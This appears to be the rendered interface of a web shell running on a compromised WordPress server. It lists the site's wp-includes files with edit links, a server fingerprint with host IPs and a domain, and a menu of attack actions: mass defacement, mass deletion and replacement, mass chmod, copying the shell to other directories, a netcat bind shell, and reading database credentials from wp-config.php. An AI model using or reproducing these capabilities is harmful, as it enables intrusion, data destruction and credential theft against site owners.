edt
class-phpass.php 2026-02-23 19:416.61 KB 76129f60960:kunden-xw-x-----
edt
class-phpmailer.php 2026-02-23 19:41664 B 76129f60960:kunden-xw-x-----
edt
class-pop3.php 2026-08-20 11:4620.61 KB 76129f60960:kunden-xw-x-----
edt
class-requests.php 2026-02-23 19:412.18 KB 76129f60960:kunden-xw-x-----
edt
class-simplepie.php 2026-02-23 19:41453 B 76129f60960:kunden-xw-x-----
edt
class-smtp.php 2026-02-23 19:41457 B 76129f60960:kunden-xw-x-----
edt
class-snoopy.php 2026-02-23 19:4136.83 KB 76129f60960:kunden-xw-x-----
edt
class-walker-category-dropdown.php 2026-02-23 19:412.41 KB 76129f60960:kunden-xw-x-----
edt
class-walker-category.php 2026-02-23 19:418.28 KB 76129f60960:kunden-xw-x-----
edt
class-walker-comment.php 2026-02-23 19:4113.89 KB 76129f60960:kunden-xw-x-----
edt
class-walker-nav-menu.php 2026-02-23 19:4111.76 KB 76129f60960:kunden-xw-x-----
edt
class-walker-page-dropdown.php 2026-02-23 19:412.65 KB 76129f60960:kunden-xw-x-----
edt
class-walker-page.php 2026-02-23 19:417.43 KB 76129f60960:kunden-xw-x-----
edt
class-wp-admin-bar.php 2026-08-20 11:4617.58 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ajax-response.php 2026-08-20 11:465.16 KB 76129f60960:kunden-xw-x-----
edt
class-wp-application-passwords.php 2026-02-23 19:4116.7 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-bindings-registry.php 2026-05-21 09:118.07 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-bindings-source.php 2026-02-23 19:412.92 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-editor-context.php 2026-02-23 19:411.32 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-list.php 2026-02-23 19:414.6 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-metadata-registry.php 2026-05-21 09:1111.57 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-parser-block.php 2026-02-23 19:412.5 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-parser-frame.php 2026-05-21 09:111.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-parser.php 2026-10-29 00:2811.29 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-pattern-categories-registry.php 2026-05-21 09:114.28 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-patterns-registry.php 2026-08-20 11:4610.02 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-processor.php 2026-08-20 11:4668.28 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-styles-registry.php 2026-05-21 09:116.27 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-supports.php 2026-08-20 11:467.4 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-template.php 2026-08-20 11:462.06 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-templates-registry.php 2026-05-21 09:116.91 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block-type-registry.php 2026-08-20 11:465.18 KB 76129f60960:kunden-xw-x-----
edt
class-wp-block-type.php 2026-08-20 11:4616.82 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-block.php 2026-08-20 11:4627.57 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-classic-to-block-menu-converter.php 2026-05-21 09:113.93 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-comment-query.php 2026-08-20 11:4647.89 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-comment.php 2026-08-20 11:4616.84 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-connector-registry.php 2026-08-20 11:4614.83 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-control.php 2026-08-20 11:4625.5 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-manager.php 2026-11-19 00:38198.65 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-nav-menus.php 2026-11-19 00:3856.92 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-panel.php 2026-08-20 11:4610.45 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-section.php 2026-02-23 19:4110.95 KB 76129f60960:kunden-xw-x-----
edt
class-wp-customize-setting.php 2026-11-19 00:3836.8 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-customize-widgets.php 2026-08-20 11:4670.89 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-date-query.php 2026-05-21 09:1135.13 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-dependencies.php 2026-05-21 09:1116.69 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-dependency.php 2026-05-21 09:112.59 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-duotone.php 2026-08-20 11:4639.88 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-editor.php 2026-08-20 11:4670.54 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-embed.php 2026-05-21 09:1115.54 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-error.php 2026-08-20 11:467.34 KB 76129f60960:kunden-xw-x-----
edt
class-wp-exception.php 2026-02-23 19:41253 B 76129f60960:kunden-xw-x-----
edt
class-wp-fatal-error-handler.php 2026-02-23 19:417.96 KB 76129f60960:kunden-xw-x-----
edt
class-wp-feed-cache-transient.php 2026-02-23 19:413.23 KB 76129f60960:kunden-xw-x-----
edt
class-wp-feed-cache.php 2026-02-23 19:41969 B 76129f60960:kunden-xw-x-----
edt
class-wp-filter-sentinel.php 2026-08-20 11:46760 B 76129f60960:kunden-xw-x-----
edt
class-wp-hook.php 2026-09-18 04:0117.17 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-cookie.php 2026-05-21 09:117.1 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-curl.php 2026-02-23 19:4112.95 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-encoding.php 2026-02-23 19:416.53 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-ixr-client.php 2026-05-21 09:113.43 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-proxy.php 2026-02-23 19:415.84 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-requests-hooks.php 2026-02-23 19:411.97 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-requests-response.php 2026-05-21 09:114.14 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http-response.php 2026-02-23 19:412.91 KB 76129f60960:kunden-xw-x-----
edt
class-wp-http-streams.php 2026-05-21 09:1116.37 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-http.php 2026-10-07 00:3040.76 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-icon-collections-registry.php 2026-08-20 11:465.67 KB 76129f60960:kunden-xw-x-----
edt
class-wp-icons-registry.php 2026-08-20 11:469.67 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-image-editor-gd.php 2026-08-20 11:4620.25 KB 76129f60960:kunden-xw-x-----
edt
class-wp-image-editor-imagick.php 2026-08-20 11:4642.44 KB 76129f60960:kunden-xw-x-----
edt
class-wp-image-editor.php 2026-08-20 11:4617.05 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-list-util.php 2026-02-23 19:417.27 KB 76129f60960:kunden-xw-x-----
edt
class-wp-locale-switcher.php 2026-02-23 19:416.62 KB 76129f60960:kunden-xw-x-----
edt
class-wp-locale.php 2026-05-21 09:1116.45 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-matchesmapregex.php 2026-02-23 19:411.79 KB 76129f60960:kunden-xw-x-----
edt
class-wp-meta-query.php 2026-11-19 00:3830.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-metadata-lazyloader.php 2026-02-23 19:416.67 KB 76129f60960:kunden-xw-x-----
edt
class-wp-navigation-fallback.php 2026-02-23 19:418.98 KB 76129f60960:kunden-xw-x-----
edt
class-wp-network-query.php 2026-08-20 11:4619.52 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-network.php 2026-08-20 11:4612.12 KB 76129f60960:kunden-xw-x-----
edt
class-wp-object-cache.php 2026-02-23 19:4117.11 KB 76129f60960:kunden-xw-x-----
edt
class-wp-oembed-controller.php 2026-11-19 00:386.98 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-oembed.php 2026-10-07 00:3033.13 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-paused-extensions-storage.php 2026-05-21 09:114.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-phpmailer.php 2026-02-23 19:414.25 KB 76129f60960:kunden-xw-x-----
edt
class-wp-plugin-dependencies.php 2026-08-20 11:4624.62 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-post-type.php 2026-05-21 09:1129.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-post.php 2026-08-20 11:468.6 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-query.php 2026-11-19 00:38161.72 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode-cookie-service.php 2026-02-23 19:416.72 KB 76129f60960:kunden-xw-x-----
edt
class-wp-recovery-mode-email-service.php 2026-08-20 11:4610.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode-key-service.php 2026-05-21 09:114.8 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode-link-service.php 2026-05-21 09:113.44 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-recovery-mode.php 2026-08-20 11:4611.19 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rewrite.php 2026-05-21 09:1162.2 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-role.php 2026-02-23 19:412.46 KB 76129f60960:kunden-xw-x-----
edt
class-wp-roles.php 2026-08-20 11:469.11 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-script-modules.php 2026-08-07 03:1039.79 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-scripts.php 2026-08-20 11:4635.89 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-session-tokens.php 2026-02-23 19:417.15 KB 76129f60960:kunden-xw-x-----
edt
class-wp-simplepie-file.php 2026-02-23 19:413.47 KB 76129f60960:kunden-xw-x-----
edt
class-wp-simplepie-sanitize-kses.php 2026-08-20 11:461.86 KB 76129f60960:kunden-xw-x-----
edt
class-wp-site-query.php 2026-05-21 09:1130.74 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site.php 2026-08-20 11:467.65 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-speculation-rules.php 2026-08-20 11:467.7 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-styles.php 2026-08-20 11:4613 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-tax-query.php 2026-02-23 19:4119.12 KB 76129f60960:kunden-xw-x-----
edt
class-wp-taxonomy.php 2026-02-23 19:4118.12 KB 76129f60960:kunden-xw-x-----
edt
class-wp-term-query.php 2026-05-21 09:1139.8 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-term.php 2026-05-21 09:115.14 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-text-diff-renderer-inline.php 2026-02-23 19:41979 B 76129f60960:kunden-xw-x-----
edt
class-wp-text-diff-renderer-table.php 2026-08-20 11:4618.48 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-textdomain-registry.php 2026-02-23 19:4110.24 KB 76129f60960:kunden-xw-x-----
edt
class-wp-theme-json-data.php 2026-08-20 11:461.76 KB 76129f60960:kunden-xw-x-----
edt
class-wp-theme-json-resolver.php 2026-05-21 09:1134.86 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme-json-schema.php 2026-02-23 19:417.19 KB 76129f60960:kunden-xw-x-----
edt
class-wp-theme-json.php 2026-09-18 04:01216.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme.php 2026-08-20 11:4664.27 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-token-map.php 2026-08-20 11:4628.35 KB 76129f60960:kunden-xw-x-----
edt
class-wp-url-pattern-prefixer.php 2026-02-23 19:414.69 KB 76129f60960:kunden-xw-x-----
edt
class-wp-user-meta-session-tokens.php 2026-05-21 09:112.88 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-user-query.php 2026-05-21 09:1143.07 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-user-request.php 2026-08-20 11:462.29 KB 76129f60960:kunden-xw-x-----
edt
class-wp-user.php 2026-08-20 11:4622.65 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-view-config-data.php 2026-08-20 11:4628.74 KB 76129f60960:kunden-xw-x-----
edt
class-wp-walker.php 2026-08-20 11:4612.98 KB 76129f60960:kunden-xw-x-----
edt
class-wp-widget-factory.php 2026-09-18 04:014.02 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-widget.php 2026-08-20 11:4618.02 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-xmlrpc-server.php 2026-11-19 00:38213.95 KB 76129f60960:kunden-xw-x--x--
edt
class-wp.php 2026-09-18 04:0125.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wpdb.php 2026-08-20 11:46118.59 KB 76129f60960:kunden-xw-x--x--
edt
class.wp-dependencies.php 2026-02-23 19:41373 B 76129f60960:kunden-xw-x-----
edt
class.wp-scripts.php 2026-02-23 19:41343 B 76129f60960:kunden-xw-x-----
edt
class.wp-styles.php 2026-02-23 19:41338 B 76129f60960:kunden-xw-x-----
edt
comment-template.php 2026-05-21 09:11100.79 KB 76129f60960:kunden-xw-x--x--
edt
comment.php 2026-08-20 11:46147.1 KB 76129f60960:kunden-xw-x--x--
edt
compat-utf8.php 2026-08-20 11:4618.93 KB 76129f60960:kunden-xw-x-----
edt
compat.php 2026-08-20 11:4621.95 KB 76129f60960:kunden-xw-x--x--
edt
connectors.php 2026-08-20 11:4632.15 KB 76129f60960:kunden-xw-x--x--
edt
cron.php 2026-08-20 11:4645.18 KB 76129f60960:kunden-xw-x--x--
edt
date.php 2026-02-23 19:41400 B 76129f60960:kunden-xw-x-----
edt
default-constants.php 2026-02-23 19:4111.1 KB 76129f60960:kunden-xw-x-----
edt
default-filters.php 2026-08-20 11:4638.57 KB 76129f60960:kunden-xw-x--x--
edt
default-widgets.php 2026-08-20 11:462.23 KB 76129f60960:kunden-xw-x-----
edt
deprecated.php 2026-05-21 09:11189.43 KB 76129f60960:kunden-xw-x--x--
edt
embed-template.php 2026-02-23 19:41338 B 76129f60960:kunden-xw-x-----
edt
embed.php 2026-08-20 11:4638.3 KB 76129f60960:kunden-xw-x--x--
edt
error-protection.php 2026-05-21 09:114 KB 76129f60960:kunden-xw-x--x--
edt
feed-atom-comments.php 2026-02-23 19:415.38 KB 76129f60960:kunden-xw-x-----
edt
feed-atom.php 2026-08-20 11:463.04 KB 76129f60960:kunden-xw-x-----
edt
feed-rdf.php 2026-02-23 19:412.61 KB 76129f60960:kunden-xw-x-----
edt
feed-rss.php 2026-02-23 19:411.16 KB 76129f60960:kunden-xw-x-----
edt
feed-rss2-comments.php 2026-02-23 19:414.04 KB 76129f60960:kunden-xw-x-----
edt
feed-rss2.php 2026-02-23 19:413.71 KB 76129f60960:kunden-xw-x-----
edt
feed.php 2026-02-23 19:4124.6 KB 76129f60960:kunden-xw-x-----
edt
fonts.php 2026-08-20 11:469.56 KB 76129f60960:kunden-xw-x--x--
edt
formatting.php 2026-11-19 00:38349.5 KB 76129f60960:kunden-xw-x--x--
edt
functions.php 2026-08-20 11:46288.56 KB 76129f60960:kunden-xw-x--x--
edt
functions.wp-scripts.php 2026-05-21 09:1120.01 KB 76129f60960:kunden-xw-x--x--
edt
functions.wp-styles.php 2026-05-21 09:118.45 KB 76129f60960:kunden-xw-x--x--
edt
general-template.php 2026-09-18 04:01179.88 KB 76129f60960:kunden-xw-x--x--
edt
global-styles-and-settings.php 2026-05-21 09:1120.29 KB 76129f60960:kunden-xw-x--x--
edt
http.php 2026-08-20 11:4628.28 KB 76129f60960:kunden-xw-x--x--
edt
https-detection.php 2026-02-23 19:415.72 KB 76129f60960:kunden-xw-x-----
edt
https-migration.php 2026-02-23 19:414.63 KB 76129f60960:kunden-xw-x-----
edt
icons.php 2026-08-20 11:466.19 KB 76129f60960:kunden-xw-x-----
edt
json-schema.php 2026-08-20 11:467.62 KB 76129f60960:kunden-xw-x-----
edt
kses.php 2026-10-29 00:2889.72 KB 76129f60960:kunden-xw-x--x--
edt
l10n.php 2026-05-21 09:1169.74 KB 76129f60960:kunden-xw-x--x--
edt
link-template.php 2026-08-20 11:46156.39 KB 76129f60960:kunden-xw-x--x--
edt
load.php 2026-11-19 00:3855.15 KB 76129f60960:kunden-xw-x--x--
edt
locale.php 2026-02-23 19:41162 B 76129f60960:kunden-xw-x-----
edt
media-template.php 2026-08-20 11:4664.22 KB 76129f60960:kunden-xw-x--x--
edt
media.php 2026-08-20 11:46231.25 KB 76129f60960:kunden-xw-x--x--
edt
meta.php 2026-05-21 09:1165.17 KB 76129f60960:kunden-xw-x--x--
edt
ms-blogs.php 2026-08-20 11:4625.71 KB 76129f60960:kunden-xw-x--x--
edt
ms-default-constants.php 2026-02-23 19:414.81 KB 76129f60960:kunden-xw-x-----
edt
ms-default-filters.php 2026-02-23 19:416.48 KB 76129f60960:kunden-xw-x-----
edt
ms-deprecated.php 2026-08-20 11:4621.28 KB 76129f60960:kunden-xw-x--x--
edt
ms-files.php 2026-02-23 19:412.79 KB 76129f60960:kunden-xw-x-----
edt
ms-functions.php 2026-08-20 11:4690.36 KB 76129f60960:kunden-xw-x-----
edt
ms-load.php 2026-08-20 11:4619.58 KB 76129f60960:kunden-xw-x--x--
edt
ms-network.php 2026-02-23 19:413.69 KB 76129f60960:kunden-xw-x-----
edt
ms-settings.php 2026-08-20 11:464.1 KB 76129f60960:kunden-xw-x-----
edt
ms-site.php 2026-05-21 09:1140.75 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu-template.php 2026-08-20 11:4625.37 KB 76129f60960:kunden-xw-x-----
edt
nav-menu.php 2026-05-21 09:1143.23 KB 76129f60960:kunden-xw-x--x--
edt
option.php 2026-08-20 11:46102.78 KB 76129f60960:kunden-xw-x--x--
edt
pluggable-deprecated.php 2026-02-23 19:416.18 KB 76129f60960:kunden-xw-x-----
edt
pluggable.php 2026-08-20 11:46124.92 KB 76129f60960:kunden-xw-x--x--
edt
plugin.php 2026-09-18 04:0136.25 KB 76129f60960:kunden-xw-x--x--
edt
post-formats.php 2026-05-21 09:116.9 KB 76129f60960:kunden-xw-x--x--
edt
post-template.php 2026-08-20 11:4667.51 KB 76129f60960:kunden-xw-x--x--
edt
post-thumbnail-template.php 2026-02-23 19:4110.62 KB 76129f60960:kunden-xw-x-----
edt
post.php 2026-10-07 00:30298.43 KB 76129f60960:kunden-xw-x--x--
edt
query.php 2026-08-20 11:4636.67 KB 76129f60960:kunden-xw-x-----
edt
registration-functions.php 2026-02-23 19:41200 B 76129f60960:kunden-xw-x-----
edt
registration.php 2026-02-23 19:41200 B 76129f60960:kunden-xw-x-----
edt
rest-api.php 2026-11-19 00:38100.72 KB 76129f60960:kunden-xw-x--x--
edt
revision.php 2026-08-20 11:4630.51 KB 76129f60960:kunden-xw-x--x--
edt
rewrite.php 2026-08-20 11:4619.11 KB 76129f60960:kunden-xw-x--x--
edt
robots-template.php 2026-02-23 19:415.06 KB 76129f60960:kunden-xw-x-----
edt
rss-functions.php 2026-08-20 11:46277 B 76129f60960:kunden-xw-x-----
edt
rss.php 2026-02-23 19:4122.66 KB 76129f60960:kunden-xw-x-----
edt
script-loader.php 2026-08-20 11:46159.72 KB 76129f60960:kunden-xw-x--x--
edt
script-modules.php 2026-08-20 11:4612.02 KB 76129f60960:kunden-xw-x--x--
edt
session.php 2026-02-23 19:41258 B 76129f60960:kunden-xw-x-----
edt
shortcodes.php 2026-11-19 00:3824.29 KB 76129f60960:kunden-xw-x--x--
edt
sitemaps.php 2026-02-23 19:413.16 KB 76129f60960:kunden-xw-x-----
edt
speculative-loading.php 2026-08-20 11:4611.6 KB 76129f60960:kunden-xw-x-----
edt
spl-autoload-compat.php 2026-02-23 19:41441 B 76129f60960:kunden-xw-x-----
edt
style-engine.php 2026-08-20 11:467.86 KB 76129f60960:kunden-xw-x-----
edt
taxonomy.php 2026-08-20 11:46174.13 KB 76129f60960:kunden-xw-x--x--
edt
template-canvas.php 2026-02-23 19:41544 B 76129f60960:kunden-xw-x-----
edt
template-loader.php 2026-03-11 08:074.17 KB 76129f60960:kunden-xw-x--x--
edt
template.php 2026-09-22 21:1137.92 KB 76129f60960:kunden-xw-x--x--
edt
theme-i18n.json 2026-05-21 09:111.85 KB 76129f60960:kunden-xw-x--x--
edt
theme-previews.php 2026-05-21 09:112.82 KB 76129f60960:kunden-xw-x--x--
edt
theme-templates.php 2026-05-21 09:113.96 KB 76129f60960:kunden-xw-x--x--
edt
theme.json 2026-08-20 11:469.26 KB 76129f60960:kunden-xw-x--x--
edt
theme.php 2026-09-18 04:01131.75 KB 76129f60960:kunden-xw-x--x--
edt
update.php 2026-08-20 11:4637.37 KB 76129f60960:kunden-xw-x--x--
edt
user.php 2026-08-20 11:46176.08 KB 76129f60960:kunden-xw-x--x--
edt
utf8.php 2026-08-20 11:466.81 KB 76129f60960:kunden-xw-x-----
edt
vars.php 2026-08-20 11:466.45 KB 76129f60960:kunden-xw-x--x--
edt
version.php 2026-11-19 00:381.08 KB 76129f60960:kunden-xw-x--x--
edt
view-config.php 2026-08-20 11:4618.64 KB 76129f60960:kunden-xw-x-----
edt
view-transitions.php 2026-05-21 09:11602 B 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-08-20 11:4669.21 KB 76129f60960:kunden-xw-x--x--
edt
wp-db.php 2026-02-23 19:41445 B 76129f60960:kunden-xw-x-----
edt
wp-diff.php 2026-08-20 11:46792 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-includes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK